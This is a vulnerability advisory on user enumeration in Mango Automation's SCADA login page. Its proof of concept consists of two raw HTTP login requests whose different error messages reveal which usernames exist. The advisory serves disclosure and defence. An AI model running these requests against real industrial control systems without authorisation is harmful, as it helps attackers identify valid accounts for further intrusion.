Mango Automation 2.6.0 User Enumeration Weakness Vendor: Infinite Automation Systems Inc. Product web page: http://www.infiniteautomation.com Affected version: 2.5.2 and 2.6.0 beta (build 327) Summary: Mango Automation is a flexible SCADA, HMI And Automation software application that allows you to view, log, graph, animate, alarm, and report on data from sensors, equipment, PLCs, databases, webpages, etc. It is easy, affordable, and open source. Desc: The weakness is caused due to the 'login.htm' script and how it verifies provided credentials. Attacker can use this weakness to enumerate valid users on the affected node. Tested on: Microsoft Windows 7 Professional SP1 (EN) 32/64bit Microsoft Windows 7 Ultimate SP1 (EN) 32/64bit Jetty(9.2.2.v20140723) Java(TM) SE Runtime Environment (build 1.8.0_51-b16) Java HotSpot(TM) Client VM (build 25.51-b03, mixed mode) Vulnerability discovered by Gjoko 'LiquidWorm' Krstic @zeroscience Advisory ID: ZSL-2015-5256 Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2015-5256.php 20.08.2015 -- Request for non-existent username: ---------------------------------- POST /login.htm HTTP/1.1 Host: localhost:8080 Content-Length: 29 Cache-Control: max-age=0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Origin: http://localhost:8080 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36 Content-Type: application/x-www-form-urlencoded Referer: http://localhost:8080/login.htm;jsessionid=6zpfpnxljyzf13l3zrpx9e0xd Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.8 Cookie: MANGO8080=6zpfpnxljyzf13l3zrpx9e0xd username=noob&password=123123 Response: - <td class="formError">User id not found</td> Request for existent username: ------------------------------ POST /login.htm HTTP/1.1 Host: localhost:8080 Content-Length: 32 Cache-Control: max-age=0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Origin: http://localhost:8080 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36 Content-Type: application/x-www-form-urlencoded Referer: http://localhost:8080/login.htm Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.8 Cookie: MANGO8080=6zpfpnxljyzf13l3zrpx9e0xd username=admin&password=123123 Response: - <td colspan="3" class="formError">Invalid login<br/>